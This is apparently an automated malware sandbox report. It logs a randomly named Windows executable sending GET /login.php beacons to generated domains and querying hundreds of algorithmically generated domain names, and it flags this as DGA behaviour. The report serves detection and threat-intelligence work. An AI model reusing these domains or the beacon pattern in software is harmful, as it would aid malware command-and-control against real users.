Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Cookie: snkz=66.23.206.109; btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347479\|1731347428\|7\|5\|0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vonypom.com Cookie: snkz=66.23.206.109; btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com Cookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347479\|1731347428\|9\|4\|0
Source:	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Source:	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com Cookie: snkz=66.23.206.109; btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347479\|1731347428\|9\|4\|0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Source:	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Cookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyfuv.com Cookie: snkz=66.23.206.109; btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347479\|1731347428\|7\|5\|0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyqah.com
Source:	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vonypom.com Cookie: snkz=66.23.206.109; btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gadyniw.com
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vocyzit.com Cookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347479\|1731347428\|9\|4\|0
Source:	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: puzylyp.com
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyfus.com
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lymyxid.com Cookie: snkz=66.23.206.109; btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347479\|1731347428\|9\|4\|0
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: galyqaz.com Cookie: vsid=903vr478893028933998491
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	HTTP traffic: GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: www.gahyqah.com Connection: Keep-Alive

Queries random domain names (often used to prevent blacklisting and sinkholes)

Source: unknown

DNS traffic detected: English language letter frequency does not match the domain names

Tries to resolve many domain names, but no domain seems valid

Source: unknown	DNS traffic detected: query: puzypug.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qexysig.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pumytup.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gahynus.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lykyjux.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qebylov.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vofydac.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pupytyl.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pupydig.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qexyriq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pujyxyl.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pufybyv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: volydot.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gacyvah.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qetytug.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puvyxil.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pufymyg.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: purywop.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyrygyn.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vonymuf.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vofyqit.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puzyxyv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vopyret.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pujymip.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qedyvuv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: galypyh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: galyfyb.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qexyxuv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gaqyzuw.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pumywaq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gaqyhuz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vowydef.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qeqysag.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: volykit.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vonycum.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qekyxul.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qebyrip.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gacykeh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vowybof.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gadyneh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyxymed.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyryfyd.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qexyvoq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qeqyhup.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gacyhis.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lysymux.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qegyrol.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gadypuw.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vojybim.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gaqyvob.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qekyheq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gaqyrib.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qekykup.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyryxij.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vocycuc.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qexykug.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: volyzef.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qeqyfaq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qexyfel.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vofygum.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gahykih.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gaqykab.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vonyzuf.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puvymul.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qedyveg.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vofykoc.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vopycom.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lykygaj.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gacykub.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vojygok.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vowykaf.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vowymyk.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lymyvin.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qetyrap.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vonydik.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gatycoh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vofymik.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puvyjop.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: purydyv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vowyzuk.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gatyqih.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qegytyv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vojykom.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vopykak.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyxylor.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vofygaf.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lymylyr.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gacyhez.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qedynaq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pujygaq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gatydaw.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lygywor.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lysywon.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: galyquw.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lysyvud.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lysysod.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gadyrab.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qegysoq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qegynap.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pufygug.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lysyfyj.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: puvyliv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gatyvyz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qetyfop.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qedyfyq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: purycap.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: purydip.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gadyveb.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vofybyf.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qetyvil.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyvylod.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: purycul.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gadyfuh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vonyqok.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vonyjim.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyrytod.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: volypum.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lykymox.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: galyhiw.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qedysov.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gacypyz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pupypiv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: purytyg.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qeqyxov.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ganydiw.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyryvex.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puzyjoq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lykyvod.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pufyjuq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vonypyf.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gaqyzoh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qeqykog.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vowydic.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vocyrom.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ganyqow.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vopyjuf.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pumyjig.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qetylyv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: volymum.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pumybal.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vocyzek.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pumymuv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyrytun.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lymymud.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qetyquq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ganycuh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: galyvas.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lykynyj.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qexyqog.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: volymaf.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vopybyt.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyvylyn.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gahyhob.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qebysul.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gacydib.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vocymut.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gatyzys.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gadyduz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pupygel.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qebytiq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pupymyp.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gatynes.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: volyqat.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puzyjyg.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qegyqaq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pupycuv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyvywed.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gahypus.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vojyjof.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gahycib.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gadyzyh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qexylup.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vojymic.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pumypog.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vonyryc.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puzybep.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ganyzas.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vowyrif.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qedyhyl.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vowyjut.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pufydep.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gadyhyw.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lysytyr.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyxyfar.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pufypiq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qebyrev.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gacynuz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lykytej.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vowycac.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: purypol.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyxyjun.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ganykaz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vojyrak.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyryjir.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puvytuq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vocyjic.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qeqyqiv.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gadyvis.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pujypup.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qegykiq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lykygur.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gatyduh.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qebyhuq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ganypih.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qedyrag.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vowypit.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gahyqub.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gacyryw.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qekyqyl.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyryled.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gaqynyw.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puryjil.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyxyjaj.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pupywog.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gaqyfah.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qegyhev.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vocydof.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vonygec.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: purygeg.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qeqytal.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gacyqys.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qekysip.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lykymyr.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qebynyg.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vojyjyc.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pujygul.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puzytap.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gadyfob.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qeqytup.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pufywil.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gatycyb.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gaqycos.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyxyxyd.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vowygem.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gaqypew.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qekyhil.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gahyfow.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qegylep.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qetyvep.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gahynaz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qexykaq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lygyfir.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gacycus.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: pumycug.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qebyxyq.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ganyriz.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: galycuw.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vofymem.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyrymuj.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qebyfav.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyxywer.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lyvyxyj.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lykysix.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vojycif.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: lymyjon.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: qegyxug.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: vocypyt.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: puvygyq.com replaycode: Name error (3)
